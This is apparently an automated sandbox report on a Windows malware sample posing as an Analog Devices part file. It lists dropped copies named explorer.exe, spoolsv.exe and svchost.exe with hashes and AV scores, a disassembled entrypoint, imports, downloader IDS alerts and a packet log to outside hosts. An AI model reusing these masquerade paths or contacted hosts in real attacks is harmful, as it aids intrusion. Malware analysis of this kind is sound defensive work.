Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Download File

Process:	C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	886280
Entropy (8bit):	7.714908638508774
Encrypted:	false
SSDEEP:	12288:thw8g1eJd+Svjvz7IabMwMJ/cpNBV7A+3+B/4VzND9ATlwIrNOJoPEOujnz/blkR:0hA/j7kdrkwUEoNh8L7PgjnI
MD5:	AFF06135F99901A5925F875B7122ABA9
SHA1:	EDF5DEC28750CEE7E9E5355601708A807E11B0E6
SHA-256:	46C94A2D2E07301D5379E40E8A07EB0102A9B7EAE57B93A37092FDF6019E6DE0
SHA-512:	C2F2805EF0A911009EE43511A44997246CB002E17C87BA67F6C5C394BD6FFE5FD94CEA00A77BDAC7A62242A45B993867A8563ABC2212C49F698DD8AE9FA39714
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.....................B.......+... ........@.. ....................................@....................................K....@...@...........P...6........................................................... ............... ..H............text...4.... ...................... ..`.rsrc....@...@...@..................@..@.reloc...............N..............@..B.................+......H........E..........-....................................................0..A....... .........%. ...(.....!... f........%....(.........(.........&....0..?.......~!....+).E.............................&..K..[.+..{....{e.......0..m.......~.....+-.E.............................&..\. .>..Y.+..{....{d.....t....~!... ....~!... .....~!......_ ...._.....0.............{.....t....}d........&..0..4.......+$.E.............................&..+..{......u....>..}.........&.0../...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System\cmsys.cmn

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8047)
Category:	dropped
Size (bytes):	57697
Entropy (8bit):	5.381019709890538
Encrypted:	false
SSDEEP:	1536:PyMapcrHsCNwn1d0kelTaO7cQBIxGjmZ2clnlZ+/1:Pq8wnSDq2clnlZC1
MD5:	58E5B4ABB727179458945E6024CBDC3E
SHA1:	6591627DC7CACF0A2AC47B00CE4B85082B8B3B46
SHA-256:	B3E2C23BB338F8BBAB7C5B10136EBEDAC17562C761F9FCC6FD06DAE8D235BBB2
SHA-512:	540918653D4BDFD38A849ECB75FA3D3E94E78F04E851683FA4CF0430C5B5A2D1F2F7B246F64090A7933C5C7805694317F86FC5825320E18C9982D55E84D3073F
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="en-US" class="s-dark site-s-dark">..<head>...<meta charset="UTF-8" />..<meta name="viewport" content="width=device-width, initial-scale=1" />..<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />... This site is optimized with the Yoast SEO Premium plugin v18.0 (Yoast SEO v18.4.1) - https://yoast.com/wordpress/plugins/seo/ -->..<title>What happened to the old ZXQ website? \| ZXQ</title><link rel="preload" as="font" href="https://zxq.net/wp-content/themes/smart-mag/css/icons/fonts/ts-icons.woff2?v2.2" type="font/woff2" crossorigin="anonymous" />..<link rel="canonical" href="https://zxq.net/what-happened-to-the-old-zxq-website/" />..<meta property="og:locale" content="en_US" />..<meta property="og:type" content="article" />..<meta property="og:title" content="What happened to the old ZXQ website?" />..<meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website

C:\Windows\System\explorer.exe

Download File

Process:	C:\Users\user\AppData\Local\icsys.icn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	281001
Entropy (8bit):	5.230887038047514
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unv:UvEN2U+T6i5LirrllHy4HUcMQY64
MD5:	5D171E84A564FF02737707557BC94C7D
SHA1:	F8B12F220E6B66822A32A28524F0E4792D093C62
SHA-256:	47D69D56D3CBE7A53F56011EB4F416444B5F41CDDBB5C1449A1EA083F36F2B94
SHA-512:	F57EDADF8E6A4A6B8156AE67A0C55370C418019766D41F30B1758CC5C4CC3335CBF311E122DB103CABB96A2E77D3E1BEECF971B30A1CEDC2A684D31F64869C7E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System\spoolsv.exe

Download File

Process:	C:\Windows\System\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280880
Entropy (8bit):	5.21603514154774
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unp:UvEN2U+T6i5LirrllHy4HUcMQY6k
MD5:	87F4BB343D88570786E64727D8938AA9
SHA1:	221A93279E982F0EFF7825E850FD37F20D7FEECC
SHA-256:	B3BA21B07979CF8A1389F08EB96A235968903DE705ADC391EB6E32EEE490B26F
SHA-512:	400E56AF173A58300ABA377280116254763804987C9A299497929D34CFDD656E77B23F621DF88DA79D3DF186355334E16C1F9E6A0BBE502383DE7128540283E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System\svchost.exe

Download File

Process:	C:\Windows\System\spoolsv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	280859
Entropy (8bit):	5.212513254725696
Encrypted:	false
SSDEEP:	3072:UvEfVUzSLhIVbV6i5LirrlZrHyrUHUckoMQ2RN6unT:UvEN2U+T6i5LirrllHy4HUcMQY6A
MD5:	4DD3CF8F373E3C03162E7B8972DA62C1
SHA1:	86023A5694BF991DB5BDDF6DBE14A954E48C31AD
SHA-256:	897F5526A0E342D3CEC1D2642A1F5598399E143297D2ACEE0428222C76C7E1A6
SHA-512:	230C06314F6C24D956D74408440701F9AC413CFCE5DF280E84348F4D302F87CF13AF000D3EE05F6734498D3E04972975F9E8D52B2CC7C81C348B84B913419579
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@.............................................................................(...........................................................................P... ....................................text...(........................... ....data...t...........................@....rsrc...............................@..@.tdata.............................. ...$..G............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.298469025323301
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.81% Win32 Executable (generic) a (10002005/4) 49.76% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.41% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
File size:	1'167'385 bytes
MD5:	5bf012702d620d125fa7adc2bd3a9c75
SHA1:	2c13edf47861d5a003ccd2a640ebb91d42ffb71f
SHA256:	eb825b11d00bc3ec41e7856a59ebe1027e3f9c9128a177e182f688535f22bfb6
SHA512:	fe0327f7664486f10bf5bae7a5a0496c19c2b8446a4745f2ae3f32627f47b740d15f0c60eac6eda9e145744149483a0132aaa1dfb22853a54d7b69eeaa8aa645
SSDEEP:	24576:K5xolYQY6shA/j7kdrkwUEoNh8L7PgjnT:dYdh4j4drHch8LEnT
TLSH:	1845F11FFE00A62EC68549B3E1636659A531BD155A91F94F22C0AFE53CB0903F9B270F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1m..P...P...P..zL...P...O...P...O...P..Rich.P..........PE..L......M.....................0......p6............@................

File Icon


Icon Hash:	07474d0c4c0f2717

Static PE Info

General

Entrypoint:	0x403670
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4DF7AFFC [Tue Jun 14 19:01:16 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	98f67c550a7da65513e63ffd998f6b2e

Entrypoint Preview

Instruction
push 00403ED4h
call 00007F31286C7DF5h
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx-7FFA577Dh], dl
adc eax, dword ptr [bx-4Fh]
push edx
xchg eax, ebx
pop eax
jnc 00007F31286C7D8Dh
nop
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax+00h], al
hlt
test al, F6h
add byte ptr [edi+69h], dl
outsb
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
movsd
test byte ptr [eax], 00000019h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], al
add byte ptr [ebp-4E810EB2h], al
pushfd
call far 1AF7h : C9C2984Bh
jo 00007F31286C7DABh
cmp byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax-58000000h], bl
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [ecx+ebp*4], bh
test byte ptr [eax], 00000001h
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax-5Bh], ah
test byte ptr [eax], 0000001Bh
add byte ptr [eax], al
add byte ptr [ebp+45h], dh
js 00007F31286C7E59h
popad
je 00007F31286C7E65h
push 0040C100h
fadd st(0), st(0)
inc eax
add bl, bl
scasb
dec ecx
test dword ptr [ecx+ebx-3F56B459h], eax
mov bl, 8Fh
xor eax, 70C5231Dh
rol byte ptr [edi+edx*8-12h], cl
salc
dec edx
mov ah, 13h
in eax, dx
fsub qword ptr [edi]
push 31CCFF3Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2ac84	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e000	0x5e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x250	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x284	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2a728	0x2b000	6805a78c569a1d85aabd684522fa4102	False	0.3680675417877907	data	5.947197438251493	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2c000	0x1b74	0x1000	620f0b67a91f7f74151bc5be745b7110	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e000	0x5e0	0x1000	e5c5b5e63c90a7f4c119f1b16bad9b1e	False	0.26513671875	data	3.4090976903923296	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tdata	0x2f000	0xf000	0xf000	84c48b8da7e9b9d3c5667ad9819debd9	False	0.0013346354166666667	data	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2e2f8	0xcd0	Device independent bitmap graphic, 32 x 64 x 24, image size 3072			0.22164634146341464
RT_GROUP_ICON	0x2e2e4	0x14	data			1.15
RT_VERSION	0x2e0f0	0x1f4	data	English	United States	0.504

Imports

DLL

Import

MSVBVM60.DLL

EVENT_SINK_GetIDsOfNames, __vbaStrI2, _CIcos, _adj_fptan, __vbaStrI4, __vbaVarVargNofree, __vbaFreeVar, __vbaStrVarMove, __vbaLenBstr, __vbaLateIdCall, __vbaPut3, __vbaEnd, __vbaFreeVarList, _adj_fdiv_m64, __vbaPut4, EVENT_SINK_Invoke, __vbaRaiseEvent, __vbaFreeObjList, __vbaStrErrVarCopy, _adj_fprem1, __vbaRecAnsiToUni, __vbaCopyBytes, __vbaStrCat, __vbaLsetFixstr, __vbaRecDestruct, __vbaSetSystemError, __vbaHresultCheckObj, __vbaNameFile, _adj_fdiv_m32, __vbaAryVar, Zombie_GetTypeInfo, __vbaAryDestruct, __vbaBoolStr, __vbaExitProc, __vbaI4Abs, __vbaOnError, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR4, __vbaStrFixstr, _CIsin, __vbaErase, __vbaChkstk, __vbaFileClose, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaGet3, __vbaStrCmp, __vbaGet4, __vbaPutOwner3, __vbaVarTstEq, __vbaAryConstruct2, __vbaObjVar, __vbaI2I4, DllFunctionCall, __vbaVarLateMemSt, __vbaFpUI1, __vbaRedimPreserve, __vbaStrR4, _adj_fpatan, __vbaFixstrConstruct, __vbaLateIdCallLd, Zombie_GetTypeInfoCount, __vbaRedim, __vbaRecUniToAnsi, EVENT_SINK_Release, __vbaNew, __vbaUI1I2, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, __vbaStrToUnicode, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaGetOwner3, __vbaUbound, __vbaFileSeek, _CIlog, __vbaErrorOverflow, __vbaFileOpen, __vbaVarLateMemCallLdRf, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarSetVar, __vbaI4Var, __vbaLateMemCall, __vbaVarAdd, __vbaAryLock, __vbaStrComp, __vbaVarDup, __vbaStrToAnsi, __vbaFpI2, __vbaFpI4, __vbaVarLateMemCallLd, __vbaVarSetObjAddref, __vbaRecDestructAnsi, __vbaLateMemCallLd, _CIatan, __vbaAryCopy, __vbaStrMove, __vbaCastObj, __vbaR8IntI4, _allmul, __vbaVarLateMemCallSt, _CItan, __vbaAryUnlock, _CIexp, __vbaFreeObj, __vbaFreeStr

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-10T10:12:39.818433+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	132.226.247.73	80	TCP
2024-10-10T10:12:40.729238+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	132.226.247.73	80	TCP
2024-10-10T10:12:41.515450+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49744	188.114.96.3	443	TCP
2024-10-10T10:12:42.307371+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49745	132.226.247.73	80	TCP
2024-10-10T10:12:42.821265+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49748	188.114.96.3	443	TCP
2024-10-10T10:12:43.636025+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49749	132.226.247.73	80	TCP
2024-10-10T10:12:47.610268+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	188.114.96.3	443	TCP
2024-10-10T10:12:48.960307+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	188.114.96.3	443	TCP
2024-10-10T10:12:51.625332+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49768	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 10:12:35.102762938 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 10, 2024 10:12:36.150765896 CEST	49738	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:36.155680895 CEST	80	49738	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:36.156018019 CEST	49738	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:36.156018019 CEST	49738	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:36.160804987 CEST	80	49738	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:36.870373011 CEST	80	49738	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:36.870388985 CEST	80	49738	64.233.184.82	192.168.2.4
Oct 10, 2024 10:12:36.870496988 CEST	49738	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:37.010776997 CEST	49738	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:37.010776997 CEST	49738	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:12:38.677843094 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:38.682710886 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:38.682782888 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:38.683435917 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:38.688304901 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:39.357263088 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:39.396625996 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:39.401453018 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:39.560030937 CEST	49741	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:39.564865112 CEST	80	49741	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:39.564934015 CEST	49741	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:39.565428972 CEST	49741	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:39.570297956 CEST	80	49741	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:39.602368116 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:39.715420008 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:39.715461016 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:39.715586901 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:39.729639053 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:39.729674101 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:39.815299988 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:39.818433046 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:40.211132050 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.211214066 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.216764927 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.216784954 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.217067957 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.269907951 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.280776978 CEST	80	49741	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:40.280802965 CEST	80	49741	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:40.280862093 CEST	49741	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:40.281188965 CEST	49741	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:40.281210899 CEST	49741	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:40.315407991 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.380528927 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.380620003 CEST	443	49742	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.380673885 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.391724110 CEST	49742	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.407608032 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:40.412415028 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:40.613192081 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:40.729238033 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:40.745558023 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.745578051 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:40.745647907 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.746005058 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:40.746016979 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:41.297975063 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:41.405668974 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:41.405699968 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:41.515578032 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:41.515877962 CEST	443	49744	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:41.515959978 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:41.516371965 CEST	49744	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:41.533392906 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:41.537208080 CEST	49745	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:41.538851976 CEST	80	49740	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:41.538908005 CEST	49740	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:41.542402983 CEST	80	49745	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:41.542531967 CEST	49745	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:41.542645931 CEST	49745	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:41.547537088 CEST	80	49745	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:41.969752073 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:41.974567890 CEST	80	49747	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:41.974630117 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:41.974889994 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:41.979688883 CEST	80	49747	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:42.207710028 CEST	80	49745	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:42.208955050 CEST	49748	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:42.209001064 CEST	443	49748	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:42.209084988 CEST	49748	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:42.209336042 CEST	49748	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:42.209345102 CEST	443	49748	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:42.307370901 CEST	49745	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:42.684621096 CEST	443	49748	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:42.686990023 CEST	49748	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:42.687017918 CEST	443	49748	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:42.725902081 CEST	80	49747	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:42.725918055 CEST	80	49747	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:42.725984097 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:42.726440907 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:42.726440907 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:42.731874943 CEST	80	49747	173.194.76.82	192.168.2.4
Oct 10, 2024 10:12:42.733756065 CEST	49747	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:12:42.821285009 CEST	443	49748	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:42.821379900 CEST	443	49748	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:42.821518898 CEST	49748	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:42.821971893 CEST	49748	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:42.826174021 CEST	49745	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:42.830395937 CEST	49749	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:42.831410885 CEST	80	49745	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:42.831501007 CEST	49745	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:42.835319996 CEST	80	49749	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:42.835427999 CEST	49749	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:42.835688114 CEST	49749	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:42.840497017 CEST	80	49749	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:43.500017881 CEST	80	49749	132.226.247.73	192.168.2.4
Oct 10, 2024 10:12:43.501370907 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:43.501429081 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:43.501496077 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:43.501976967 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:43.501995087 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:43.636024952 CEST	49749	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:12:43.967248917 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:43.991365910 CEST	49750	443	192.168.2.4	188.114.96.3
Oct 10, 2024 10:12:43.991451025 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:44.114860058 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:44.115123034 CEST	443	49750	188.114.96.3	192.168.2.4
Oct 10, 2024 10:12:44.115185976 CEST	49750	443	192.168.2.4	188.114.96.3
